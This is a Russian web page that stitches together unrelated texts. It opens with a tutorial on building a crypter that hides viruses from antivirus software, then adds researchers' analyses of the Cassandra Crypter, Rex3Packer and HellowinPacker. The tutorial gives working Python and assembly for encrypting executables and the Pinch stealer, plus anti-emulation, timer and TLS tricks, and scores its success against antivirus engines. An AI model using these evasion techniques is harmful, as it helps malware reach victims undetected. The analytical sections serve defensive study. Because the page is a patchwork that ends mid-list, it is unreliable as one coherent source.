Хороший криптор для вирусов

Обновлено: 26.04.2024

Web мы спасли от антивирусов несколько месяцев назад. Это было нетрудно — область относительно новая, не освоенная. С исполнимыми же файлами антивирусы борются уже десятилетиями. Побороть EXE-модуль будет сложнее, но… мы справимся :).

Выпуск 1. Ознакомительный

И найти хорошего криптора ой как сложно.

Но решение проблемы есть! Как мы знаем, антивирусные компании обмениваются технической информацией и создают специальные ресурсы, посредством которых мы сами отсылаем им сэмплы (типа VirusTotal’а). Но ведь и вирмейкеры тоже могут обмениваться информацией! Необязательно палить приватные мазы — публичные технологии тоже сгодятся. Например, было бы круто, если бы в каком-то одном месте лежали функции для генерации PE-файла, генерации импорта, шифрования ресурсов, рабочие функции определения SandBox’ов, тогда мы могли бы создавать крипторы так же непринужденно, как домики из кубиков Лего.

Кроме того, в решении проблемы здорово помогло бы использование высокоуровневых языков программирования. В паблике сейчас валяются исходники крипторов на С++ или VisualBasic’е, но ведь от этого проще не становится, поскольку разобраться в написанном коде — ой как непросто. На Python’е все выглядит в разы лучше, поэтому именно его мы сегодня и будем использовать. В общем, заложим фундамент этой благородной миссии. Присоединяйся!


Выпуск 2. PE-файл

Структура PE-файла довольно сложная, поэтому подробная документация будет ждать тебя на диске, а здесь я представлю твоему вниманию лишь избранные моменты.

Теперь посмотрим, что же нужно нам сделать, чтобы изменить файл и при этом не испортить его.

Выпуск 3. Теоретический криптор

Для начала выберем файл, который будет у нас исполнять функции лабораторной мыши. Чтобы сделать приятное Андрюшку :), мы, пожалуй, будем издеваться над Putty.exe. Упрощенно его структура будет выглядеть так:

  1. Служебные данные
  2. Первая кодовая секция
  3. Другие секции с данными

Алгоритм криптора следующий. Создать две ассемблерные программы. Первая будет косить под обычную прогу и проверять, что мы не в эмуляторе, а потом передаст управление на вторую программу. Вторая же восстановит оригинальную структуру файла и передаст управление на оригинальную точку входа Putty. И записать эти программы в файл.

В результате получится следующая структура:

  1. Служебные данные
  2. Первая кодовая секция
    1. Наша первая программа, которая передаст управление на 4.2
    2. Шифрованный код первой секции
    1. Часть кодовой секции, перезаписанной программой 2.1
    2. Вторая программа, которая оригинальный код из 4.1 поместит на 2.1, а потом расшифрует кодовую секцию и передаст на нее управление.

    Выпуск 4. Практический криптор

    Ну наконец-то мы добрались до сердца нашей статьи. Для работы криптора нам понадобится модуль pefile (будем использовать несколько модифицированную версию), и с помощью либы откроем Putty:

    import pefile
    pe = pefile.PE("putty.exe")

    Магия, правда? :). А теперь прикинь, что все это пришлось бы писать на С++!

    Поскольку в начале программы будет наш код, то сохраним оригинальный код, скопировав его в последнюю секцию. Адрес первой секции в файле находится в переменной — pe.sections[0]. PointerToRawData, а последней, соответственно — в pe.sections[-1].PointerToRawData:

    pe.data_copy(pe.sections[0].PointerToRawData, pe.sections[-1].PointerToRawData, 512)

    Оригинальный код сохранен, и мы приступим к написанию первой программы. Конечно же, писать мы ее будем на ассемблере, используя FASM для компиляции. Создадим файлик pack.tpl.asm с содержанием:

    use32
    mov eax, >
    jmp eax

    Ты, наверное, уже догадался, что это не готовый исходник, это лишь шаблон для шаблонизатора из TornadoWeb, а его мы уже отлично знаем, ведь именно его мы использовали при написании HTML-морфера. Сгенерируем первую программу:

    asm = Template(open("pack.tpl.asm", "r").read()).generate(
    go=pe.OPTIONAL_HEADER.ImageBase + pe.sections[-1].VirtualAddress+512,
    )
    with open("pack.asm", "w") as f:
    f.write(asm)
    os.system(r"c:fasmwFASM.EXE pack.asm")

    В переменной go мы передаем адрес в памяти, где будет наша вторая программа — то есть, в последней секции, начиная с 512 байта. А в последней строчке компилим результат на FASM’е. Теперь запишем получившийся код в начало первой секции:

    new_pack = open("pack.bin", "rb").read()
    pe.data_replace(offset=pe.sections[0].PointerToRawData, new_data=new_pack)

    Вторую программу запишем в файл copy.tpl.asm. Размер у нее более внушительный, поэтому полный код смотри на диске. Там содержится два цикла, один скопирует 512 байт оригинальной программы с последней секции в первую, а второй цикл расшифрует всю первую секцию. После этого передается управление на оригинальную программу.

    При компиляции темплейта нужно передать туда параметры для циклов копирования и расшифровки:

    copy_from = pe.OPTIONAL_HEADER.ImageBase+pe.sections[-1].VirtualAddress
    copy_to = pe.OPTIONAL_HEADER.ImageBase+pe.sections[0].VirtualAddress
    oep = pe.OPTIONAL_HEADER.ImageBase+pe.OPTIONAL_HEADER.AddressOfEntryPoint
    asm = Template(open("copy.tpl.asm", "r").read()).generate( copy_from=copy_from, copy_to=copy_to, copy_len=512, xor_len=pe.sections[0].Misc_VirtualSize, key_encode=1, original_oep=oep,)

    Остался маленький штришок — записать вторую прогу в файл и сделать первую секцию записываемой, чтобы расшифровщик не выдавал ошибок, а также установить точку входа на начало первой секции:

    new_copy = open("copy.bin", "rb").read()
    pe.data_replace(offset=pe.sections[-1].PointerToRawData+512, new_data=new_copy)
    pe.sections[0].Characteristics |= pefi le.SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_WRITE"]
    pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.sections[0].VirtualAddress
    pe.write(fi lename="result.exe")

    Выпуск 5. Завершающий

    Если собрать кусочки кода вместе, то будет у нас всего 50 строк. Всего лишь 50 — и криптор готов! А теперь прикинь, сколько строк содержала бы программа на С? Конечно, это еще далеко не готовый продукт, над ним нужно работать и работать. Чтобы довести систему до реального криптора, нужно добавить как минимум шифрование ресурсов и импорта, а также антиэмуляцию. О том как теоретически эти проблемы решить, смотри во врезках. Удачи!

    Желательный функционал 1. Обход песочниц

    В крипторе нужно делать проверки на запуск в виртуальной машине, SandBox’е или анализаторе типа анубиса. Чтобы их зедетектить, нужно провести небольшое исследование и написать программу, которая будет на экран выводить разные внутренние параметры системы, а дальше — проверить этот файл на том же анубисе и в скриншоте посмотреть параметры, которые показала наша прога. Дальше все просто — при запуске на системе с подобными параметрами — просто уходим в цикл.

    Обязательный функционал 2. Шифрование ресурсов и импорта

    Для шифрования ресурсов мы должны пройтись по секции ресурсов и сохранить оттуда важные для запуска файла — иконки и манифест. Дальше создаем новые ресурсы с важными ресурсами, а остальное шифруем. После запуска криптора восстанавливаем все обратно.

    Несколько сложнее получается с импортом, ведь его также нужно сначала зашифровать, потом сгенерировать липовый импорт, но после восстановления импорт еще нужно вручную проинициализировать, то есть — загрузить DLL’ки и сохранить в таблицу импорта реальные указатели на функции.

    Обязательный функционал 1. АнтиЭмуляция

    Кроме избавления от внешних сигнатур, очень важно, чтобы антивирус в своем эмуляторе не добрался до исходного файла. Для этого нужна антиэмуляция. Раньше были очень популярны приемы, основанные на предположении, что эмулятор не понимает все инструкции процессора. Сейчас же ситуация изменилась, и самые эффективные приемы основаны на использовании Windows API. Согласись, что антивирус вряд ли сможет эмулировать все API.

    Вот тебе такая идейка для реализации:

    Внутренности Антивирусов

    В упрощенном виде, антивирус — это набор правил (сигнатур) и система, которая проверяет файл по этим правилам.

    К примеру, пусть в антивирусе будут такие сигнатуры:

    • секция с кодом, записываемая +10;
    • после запуска прописывается в авторан +30;
    • вторая секция с именем Zeus +30;
    • меньше 4 энтропия кодовой секции +20;
    • есть сертификат от майкрософта -10.

    Дальше антивирь проверяет те правила, которые возможно проверить без запуска EXE, потом в эмуляторе запускает файл и проверяет все остальные правила. А после этого подсчитывает сумму, если она больше 100, значит вирус, если меньше — значит не вирус.

    Как работает pefile

    При загрузке в pefile экзэхи, библиотека сохраняет сам файл в pe.data, а потом обрабатывает его и создает массив структур pe.structures. Структура — это объект, у которого есть адрес. Адрес, по которому она находится в файле, и есть набор полей.

    Подготовка к исследованиям

    Прячем код

    Сначала обратимся к тривиальным и давно известным нам методам сокрытия кода – шифровке секции по константе. В своих статьях я уже не раз обращался к подобному коду. Удивительно, но простой XOR машинных кодов, находящихся в секции кода, позволяет избавиться от внимания аж четверти антивирусных программ! Итак, откроем сгенерированный файл пинча (pinch.exe) в отладчике. Точка входа по умолчанию равна 13147810. По адресу 13147C26 начинается поле сплошных нулей, оставленное компилятором для выравнивания секции. Нам это на руку – здесь мы будем размещать наш код. Итак, взгляни на вид криптора:

    13147C30 PUSHAD
    13147C31 MOV ECX,6C2F
    13147C36 MOV EDX,DWORD PTR DS:[ECX+13141000]
    13147C3C XOR EDX,76
    13147C3F MOV DWORD PTR DS:[ECX+13141000],EDX
    13147C45 LOOPD SHORT pinch_pa.13147C36
    13147C47 POPAD
    13147C48 JMP SHORT pinch_pa.13147810

    13147C4B XOR EAX,EAX; обнуляем регистр
    13147C4D PUSH pinch_pa.13147C62; помещение адреса нового обработчика в стек
    13147C52 PUSH DWORD PTR FS:[EAX]; помещение адреса старого обработчика в стек
    13147C55 MOV DWORD PTR FS:[EAX],ESP; помещение в FS:[0] указателя на структуру
    13147C58 CALL pinch_pa.13147C58; генерация исключения путем переполнения стека
    13147C5D JMP pinch_pa.13145555; данная инструкция никогда не будет исполнена
    13147C62 POP EAX; восстановление регистров
    13147C63 POP EAX
    13147C64 POP ESP
    13147C65 JMP pinch_pa.13147810; переход к выполнению программы

    Кратко описать функционал кода можно следующим образом: мы создаем новый обработчик исключений и размещаем его по адресу 13147C62. Эмуляторы кода, которые неспособны должным образом определить логику выполнения программы, полагают, что вслед за бесконечной рекурсией по адресу 13147C58 произойдет передача управления на следующую инструкцию (JMP pinch_pa.13145555), в результате чего направляют дальнейшее исследование логики выполнения кода по неверному пути. На самом же деле, стек переполняется, вызывается исключение, а программа благополучно продолжает свою работу. Действуя таким образом, мы отметаем еще четыре антивируса (только 27 из 43 утилит справились с задачей и распознали вредоносный код).

    Итак, мы отправили на прогулку лесом едва ли не половину антивирусов – что же дальше? Теперь мы займемся более изощренными способами антиотладки и простейшей антиэмуляции.

    Продолжаем эксперимент

    13147C90 - NEW OEP
    length of code 4c

    13147c30 - start of code
    13147c7c -end of code

    13147C90 60 PUSHAD
    13147C91 B9 4C000000 MOV ECX,4C
    13147C96 8B91 307C1413 MOV EDX,DWORD PTR DS:[ECX+13147C30]
    13147C9C 83F2 54 XOR EDX,54
    13147C9F 8991 307C1413 MOV DWORD PTR DS:[ECX+13147C30],EDX
    13147CA5 ^E2 EF LOOPD SHORT kadabra_.13147C96
    13147CA7 61 POPAD
    jmp 13147c30

    13140000 4D DEC EBP
    13140001 5A POP EDX
    13140002 0000 ADD BYTE PTR DS:[EAX],AL
    13140004 0100 ADD DWORD PTR DS:[EAX],EAX

    .
    13140028 0000 ADD BYTE PTR DS:[EAX],AL

    13140002 EB 24 JMP SHORT 13140028

    а байты, расположенные по адресу 13140028, на следующий код:

    13140028 -E9 637C0000 JMP 13147c90

    Исследования показали, что пинч содержит четыре секции, две из которых – .conf и .data – содержат данные, которые могут быть рассмотрены антивирусами в качестве константы и занесены в сигнатурную базу. Поэтому необходимо зашифровать и их.

    Для этого полностью убираем код раскриптовки, заменяя его в OllyDbg на нули, и видим, что наш образец все равно палится как пинч! Делаем вывод, что либо антивирусы методом перебора видят наш код, либо проверяют image base. Пробуем изменить Image base – и, действительно, отметаем еще четыре антивируса.

    Lost in Time, или Dr. Web, не считающий время

    Представь ситуацию: мы располагаем тысячей программ, каждая из которых использует 15-секундный таймер. Суммарное время задержки выполнения кода составит, что несложно подсчитать, 15000 секунд, или около четырех часов. Таким образом, если антивирусный алгоритм в своей работе по-настоящему эмулирует таймер, анализ тысячи подобных файлов займет у него вышеуказанное время. Конечно, реальная эмуляция таймеров – нонсенс, и многие алгоритмы просто-напросто нужным образом изменяют регистры или стек контекста процесса, если встречают одну из API-функций, выполняющих задержку выполнения программы. Но все ли антивирусы настолько хороши? Проверим на практике.

    Для того, чтобы засечь время, используем API-функцию GetLocalTime, которая записывает по указанному в стеке адресу следующую 16-байтную структуру:

    typedef struct _SYSTEMTIME WORD wYear; // Год
    WORD wMonth; // Месяц
    WORD wDayOfWeek; // День недели
    WORD wDay; // День месяца
    WORD wHour; // Часы
    WORD wMinute; // Минуты
    WORD wSecond; // Секунды
    WORD wMilliseconds; // Миллисекунды
    > SYSTEMTIME;

    13147CFA PUSH kadabra_.13147D7D; записываем в стек первый адрес
    13147CFF CALL kernel32.GetLocalTime; получаем первый временной штамп
    13147D04 PUSH 3E8; задержка таймера – 1000 миллисекунд, или 1 секунда
    13147D09 CALL kernel32.Sleep; запуск таймера
    13147D0E PUSH kadabra_.13147D94; записываем в стек второй адрес
    13147D13 CALL kernel32.GetLocalTime; получаем второй временной штамп

    В результате выполнения получаем две 16-байтных заполненных структуры, каждая из которых записана, начиная с адреса, определенного нами выше:

    [год][месяц][день недели][День месяца] [Часы] [Минуты] [Секунды][Миллисекунды]

    13147D7D: DA 07 0A 00 02 00 0C 00 0D 00 0C 00 31 00 B1 03

    13147D94: DA 07 0A 00 02 00 0C 00 0D 00 0D 00 04 00 B1 03

    13147CF9 ;Код получения временных штампов (приведен выше)
    13147D18 MOV AL,BYTE PTR DS:[13147D89]; первое значение помещаем в AL
    13147D1D MOV AH,BYTE PTR DS:[13147DA0]; второе значение помещаем в AH
    13147D23 SUB AH,AL; получаем разность значений
    13147D25 XOR EBX,EBX; обнуляем EBX
    13147D27 MOV BL,AH; перемещаем разность в EBX
    13147D29 ADD EBX,13147C29; вычисляем адрес перехода
    13147D2F JMP EBX; переходим по вычисленному адресу

    Наверное, ты уже догадался, что адрес, который помещается в EBX, должен быть равен 13147C30. Однако, как показывает практика, не все идеально, особенно если речь идет об эмуляции кода. Благодаря несложным манипуляциям мы получаем великолепный результат: эмуляция Dr. Web разваливается на глазах! :). Вместе с ним отступают и еще два антивиря – это не может не радовать нашу душу. Всего 22 из 43 антивирусов продолжают подозревать нашу программу в чем-то нехорошем.

    Последние штрихи

    Думаю, что ты читал о TLS (Thread Local Storage)-callback-функциях достаточно (в частности, Крис посвятил TLS отдельную статью, опубликованную в одном из номеров нашего журнала), однако напомню о том, что они собой представляют, опуская описание широчайших возможностей их использования. Callback-функции выполняются непосредственно после инициализации программы загрузчиком, еще до остановки на OEP. Информация обо всех таких функциях содержится в специальной таблице, а адрес таблицы, в свою очередь, извлекается загрузчиком из специального поля PE-заголовка.

    Попробуем создать таблицу TLS-функций для нашей программы (к написанию кода callback-функции приступим чуть позже). Структура ее, имеющая размер шестнадцати байт, проста. Первые два двойных слова используются для записи адресов начала и конца выделяемой для потока области данных. В качестве этих значений мы выберем два произвольных адреса (13147d80 и 13147d90), лежащих в пределах области выравнивания секции .text, оставленной компилятором. Оставшиеся два DWORD’а – это, соответственно, поле для записи индекса, возвращаемого callback-функцией (13147d96), и адрес таблицы callback-функций (13147da0).

    Так выглядит код получившейся TLS-таблицы: 80 7d 14 13 90 7d 14 13 96 7d 14 13 a0 7d 14 13. Разместим его по адресу 13147d5d при помощи отладчика (запомним адрес – он нам еще понадобится).

    Приступим к созданию кода таблицы TLS-функций.

    По адресу 13147db0 разместим саму функцию, шифрующую все наши ранее созданные крипторы, а также код по второму кругу:

    13147DB0 PUSHAD; сохраняем регистры в стек
    13147DB1 MOV ECX,6D2F; устанавливаем счетчик
    13147DB6 MOV DH,BYTE PTR DS:[ECX+13141000];помещаем в DH текущий байт секции
    13147DBC XOR DH,CL; выполняем логическое сложение с младшим байтом счетчика
    13147DBE MOV BYTE PTR DS:[ECX+13141000],DH; помещаем закодированный байт в память
    13147DC4 LOOPD SHORT 13147DB6; повторяем цикл
    13147DC6 POPAD; восстанавливаем регистры
    13147DC7 RETN; возвращаемся из функции

    Полагаю, ты помнишь, что после внесения кода в файл необходимо выполнить его, чтобы он закодировал инструкции, после чего следует сохранить измененный файл прямо из-под OllyDbg.

    Я намерено не стал доводить нашу криптовку до победного конца. Придумывай новые методы обмана, внедряй в наш образец и таким образом обманывай новые антивирусы. Удачи в благих делах!

    Ни один атакующий не хочет, чтобы его инструменты обнаружили и раскрыли раньше времени. Поэтому, как правило, в чистом виде никто вредоносные программы не распространяет. Например, пользователю прилетело фишинговое письмо от имени известной транспортной компании и просят проверить документы во вложении. Подобные письма достаточно часто являются началом атаки, так было и на этот раз. Внутри архива находился исполняемый файл Cassandra Crypter — популярный криптор, полезной нагрузкой которого могут выступать различные семейства вредоносного программного обеспечения. Алексей Чехов, аналитик CERT-GIB, рассказывает, как Cassandra проникает на компьютер жертвы и приводит с собой других незваных гостей.


    Работу Cassandra можно условно разделить на два этапа. На первой стадии загружается вспомогательная библиотека, которая извлекает основную часть криптора из исходного файла. На второй — криптор раскрывает весь свой потенциал.


    Первая стадия

    Cassandra маскируется под легитимное приложение. В точке входа располагается стандартная для приложений Windows Forms функция запуска.


    Конструктор формы также выглядит стандартным, ничем не отличающимся от легитимного приложения.


    При детальном анализе был обнаружен вызов функции aaa() , которая содержит вредоносный функционал. Ее вызов приводит к расшифровке и подгрузке вспомогательной dll .


    Для расшифровки используется алгоритм AES.


    После подгрузки вспомогательной dll вызовется одна из её функций, в результате чего будет получена и запущена вторая стадия криптора.


    Вторая стадия содержится в изображении, в зашифрованном виде, в исходной сборке.


    Для расшифровки используется операция XOR, ключом для расшифровки являются первые 16 байтов исходного изображения.


    В первой стадии злоумышленники практически не используют средства противодействия анализу, отладки и так далее, за исключением обфускации дополнительной библиотеки.

    Вторая стадия

    Конфигурационный файл

    Ключ, который используется на первой стадии расшифровки пейлоада

    Поле, содержащее пейлоад в расшифрованном виде

    Поле содержащее сырой (не разобранный) конфиг

    Поле, содержащее подготовленный конфиг

    Поле, содержащее флаг типа инжекта

    Поле, содержащее флаг закрепления в системе

    Поле, содержащее имя файла после закрепления в системе

    Поле, содержащее название мьютекса

    Поле, содержащее информацию об использовании загрузчика

    Поле, содержащее информацию о пути до загруженного файла

    Поле, содержащее ссылку на пейлоад

    Поле, содержащее информацию об использовании Anti-VM/Sandbox-функции, осуществляющей поиск

    Поле, содержащее информацию об использовании Anti-VM/Sandbox-функции, осуществляющей поиск строк в пути файла

    Поле, содержащее информацию об использовании Fake MessageBox

    Текст заголовка Fake MessageBox

    Текст Fake MessageBox

    Информация о кнопках Fake MessageBox

    Информация об иконке Fake MessageBox

    Количество секунд, в течение которых приложение будет бездействовать

    Функция, осуществляющая разбор конфигурационного файла

    Функция, осуществляющая разбор конфигурационного файла

    Полезная нагрузка

    Полезная нагрузка содержится в крипторе в зашифрованном виде. Расшифровка проходит в два этапа:

    1. В цикле осуществляется побайтовый XOR шифрограммы, ключа и значения операции XOR от последнего элемента байта шифрограммы и 112. Полученные значения сохраняются в созданный массив. Ключ для первой стадии содержится в конфигурационном файле.


    2. Осуществляется дешифрование, аналогичное тому, что было на первой стадии: используется операция XOR, в качестве ключа используются первые 16 байтов массива, полученного на первом этапе.


    Закрепление в системе

    Закрепление в системе осуществляется через создание отложенной задачи. Файл копируется в директорию AppData//+”.exe” . После этого исходный файл удаляется и создается задача на выполнение.



    Anti-VM

    В функции осуществляется поиск виртуальных видеоадаптеров и специфических ключей реестра, свойственных для виртуальных машин.



    Anti-Sandbox

    Реализованы три функции противодействия песочнице:

    Детект изолированной среды. Функция проверяет путь до исполняемого файла и ищет в нём специфические строки, таких как \\VIRUS, SAMPLE, SANDBOX и т.д. Также осуществляется поиск окна, свойственного WindowsJail, и библиотеки SbieDll.dll, загруженной в процесс.

    Попытка обхода песочницы по таймауту. Реализована при помощи стандартной процедуры Sleep.

    Попытка обхода песочницы по user activity. Реализована при помощи показа Fake MessageBox.

    Защита от повторного запуска

    Реализована путем создания мьютекса с заданным именем в системе.


    Функционал

    Downloader

    Реализована функция загрузки пейлоада из сети.


    Запуск полезной нагрузки

    Содержит два варианта запуска пейлоада:


    2. Инжект полезной нагрузки в запущенный процесс. Есть возможность выбора из нескольких процессов.


    На данный момент Cassandra — достаточно распространенный тип крипторов. Как правило, злоумышленники используют его в массовых рассылках, чтобы незаметно запускать на машине пользователя вредоносное ПО. Cassandra позволяет запускать даже хорошо изученные семейства ВПО.

    Создание уникального вредоносного ПО требует больших ресурсов, поэтому многие хакерские группировки используют в своих атаках массовое, часто публично доступное ВПО. Широкое использование неизбежно приводит к тому, что такой инструмент попадает на радары антивирусных компаний, а его эффективность снижается.

    Полная версия данного исследования доступна по ссылке.

    Packer-as-a-service

    Хакерская группа, стоящая за распространением RTM, до конца 2020 года регулярно проводила массовые фишинговые рассылки с вредоносными вложениями. Этот процесс, по всей видимости, происходил автоматически.

    Каждое такое вложение содержало существенно отличающиеся друг от друга файлы, при этом итоговая полезная нагрузка практически не менялась.

    Пример архива RTM

    Пример архива RTM

    При исследовании по-новому упакованных образцов нам удалось обнаружить множество другого ВПО, которое было защищено аналогичным образом. Пересечения с другими вредоносами с учетом автоматизации процесса упаковки, на наш взгляд, позволяют говорить об использовании злоумышленниками модели packer-as-a-service. В этой модели упаковка вредоносных файлов делегируется специальному сервису, которым управляет третья сторона. Доступ к таким сервисам часто продается на хакерских форумах.

    Rex3Packer

    Первое использование этого пакера группой RTM, которое нам удалось обнаружить, относится к ноябрю 2019 года. Активное же его применение, по нашим данным, приходится на период апрель—май 2020 года.

    Фишинговое письмо RTM, январь 2021

    Фишинговое письмо RTM, январь 2021

    Нам не удалось связать этот упаковщик с каким-либо из ранее описанных публично, поэтому мы дали ему свое название по трем особенностям его устройства: наличию рекурсии (recursion), реверса битов (reverse) и рефлективной загрузки PE-файлов (reflection) — Rex3Packer.

    Алгоритм распаковки

    Общий алгоритм извлечения полезной нагрузки выглядит так:

    С помощью VirtualAlloc выделяется заранее определенное количество памяти с правами на чтение, запись и исполнение.

    В выделенный буфер копируется содержимое образа текущего процесса в памяти (в частности, секция .text).

    Управление передается на функцию внутри буфера.

    Вычисляется разница между положением одних и тех же данных в буфере и в образе PE-файла (разность между адресами в буфере и виртуальными адресами в образе). Эта разность заносится в регистр ebx. Все обращения к виртуальным адресам в коде проиндексированы содержимым этого регистра. За счет этого везде, где это необходимо, к адресам из PE-образа добавляется поправка, которая позволяет получить соответствующий адрес в буфере.

    Выделяется еще один буфер под упакованные данные.

    Через вызов VirtualProtect устанавливаются права RWX на весь регион памяти с образом PE-файла.

    Упакованные данные копируются в свой буфер.

    Происходит декодирование упакованных данных.

    Регион памяти с образом PE заполняется нулевыми байтами.

    Декодированные данные представляют собой исполняемый файл — PE-нагрузку. Эта полезная нагрузка рефлективно загружается на место исходного PE-образа, а управление передается на ее точку входа.

    Отдельный интерес представляет специфический алгоритм декодирования упакованных данных. В данном случае некорректно говорить об упаковке как о сжатии: алгоритм устроен так, что размер упакованных данных всегда больше размера исходных.

    Непосредственно упакованным данным предшествует заголовок размером 16 байт, который содержит 4 поля по 4 байта:

    размер самого заголовка,

    размер исходных данных (PE-нагрузки),

    позиция в исходных данных (*), по которой происходит их разделение,

    режим кодирования (1, 2, либо 4).

    Декодирование выполняется следующим образом:

    Внутри каждого байта выполняется реверс порядка битов (к примеру, 10011000 становится 00011001).

    В зависимости от режима кодирования (1, 2, 4), данные разбиваются на блоки размером N = 9, 5, либо 3 байта соответственно. Результат декодирования блока — это (N – 1) байт (то есть 8, 4, или 2).

    В первых N-1 байтах блока отсутствует часть битов: их значения всегда равны нулю. Чтобы восстановить оригинальные байты, с помощью масок вида 00000001, 00010001 или 01010101 из последнего байта блока извлекаются недостающие биты. При этом для каждого следующего байта маска сдвигается. То есть последний байт блока фактически составлен из объединенных логической операцией OR битов, которые извлечены из предыдущих байтов.

    Например, в режиме 4 последний байт состоит из четных битов первого байта блока и нечетных битов второго байта блока. В результате возврата этих битов в первый и второй байты получается оригинальная последовательность из двух байт.

    Схема получения исходных байтов в режиме 4

    Схема получения исходных байтов в режиме 4

    4. После операции по восстановлению битов во всех блоках полученные данные представляют собой исходный PE-файл, который был разделен по позиции (*) на две части. Эти части, в свою очередь, были переставлены между собой. Обратная перестановка с учетом значения (*) позволяет получить оригинальный файл.

    Обфускация

    Чтобы усложнить анализ кода, в пакере применяется различного рода запутывание:

    В промежутках между исполнением полезных команд делаются вызовы различных функций WinAPI. Их результаты сохраняются, но не используются, а сами функции выбираются так, чтобы не влиять на работу программы.

    Характерная особенность данного пакера — наличие циклов (не выполняющих полезных операций), которые реализуются через рекурсивную функцию.

    Для дополнительного запутывания в исполняемый файл добавляется несколько десятков случайно сгенерированных функций. Они могут ссылаться друг на друга, но в процессе работы ни одна из них не получает управления.

    Использование

    Кроме экземпляров RTM, мы обнаружили использование Rex3Packer для упаковки различного ВПО, в основном из стран СНГ.

    Также мы отметили использование пакера для упаковки экземпляров ВПО из семейств Nemty, Pony, Amadey.

    HellowinPacker

    В мае 2020 группа RTM переключилась на использование нового упаковщика — HellowinPacker, который продолжала активно использовать до начала 2021 года. Ключевой особенностью этого пакера является два уровня мутации кода. Первый из них существенно меняет структуру кода распаковки, делая различные образцы не похожими друг на друга.

    Сравнение кода в двух экземплярах разной структуры

    Сравнение кода в двух экземплярах разной структуры

    Второй уровень меняет лишь отдельные детали при неизменной в целом структуре кода. При этом изменения главным образом затрагивают ассемблерные инструкции и не влияющие на работу программы константы. В результате в декомпилированном виде код выглядит практически идентичным.

    Сравнение кода в двух экземплярах одной структуры

    Сравнение кода в двух экземплярах одной структуры

    Так же, как и в случае с Rex3Packer, мы имеем дело с массовым использованием HellowinPacker для упаковки различного ВПО. При этом вредоносное ПО из одного семейства, как правило, имеет в упакованном виде одну и ту же структуру. Это можно пронаблюдать, по крайней мере, на протяжении некоторого времени — затем структура может измениться.

    Алгоритм распаковки

    Одни из первых действий, которые встречаются во всех упакованных файлах — это попытки открыть ключ реестра HKEY_CLASSES_ROOT\Interface\ (регистр символов в конкретном случае может отличаться) и запросить в нем значение по умолчанию (Default). От успешности этих операций в некоторых модификациях генерируемого кода зависит корректное продолжение работы программы.

    GUID интерфейса в разных случаях также может отличаться.

    Дальнейший код некоторым образом получает адрес, по которому располагается блок зашифрованных данных.

    Этот блок начинается с четырехбайтного числа, которое хранит размер исходных данных (тех, которые будут получены после декодирования). Вызовом VirtualAlloc под расшифрованные данные выделяется блок памяти нужного размера с правами RWX. В выделенную память блоками по X байт копируются зашифрованные данные. При этом в оригинальном файле между этими блоками располагаются пропуски длиной Y байт.

    Схема копирования данных в HellowinPacker

    Схема копирования данных в HellowinPacker

    Затем происходит процесс дешифровки блоками по 4 байта:

    очередной блок интерпретируется как целое число (DWORD),

    к его значению прибавляется индекс первого байта в блоке,

    выполняется операция xor между полученным значением и суммой индекса и фиксированного ключа, числа Z.

    Обфускация

    Как и в случае с Rex3Packer, в экземплярах с HellowinPacker встречаются вызовы функций WinAPI, не относящихся к основной логике программы. Однако в данном случае они используются скорее как способ затруднить поведенческий анализ и детектирование в песочницах. В пользу этого предположения говорит то, что в большинстве случаев разнообразные функции вызываются подряд в самом начале программы.

    Точка входа в одной из упакованных библиотек

    Точка входа в одной из упакованных библиотек

    Дополнительным эффектом от такого использования WinAPI становится невозможность детектирования по списку импортируемых функций и imphash.

    При работе с различными числовыми значениями часто встречается некоторая арифметическая обфускация: необходимые константы представляются в виде суммы или разности других констант (в определенных случаях равной нулю). При этом для получения констант могут быть использованы и вызовы функций WinAPI, дающие предсказуемый результат (например, 0 в случае неудачи).

    Использование

    HellowinPacker существует по крайней мере с 2014 года. За это время он был использован в различном массовом вредоносном ПО. Вот лишь несколько примеров:

    Читайте также: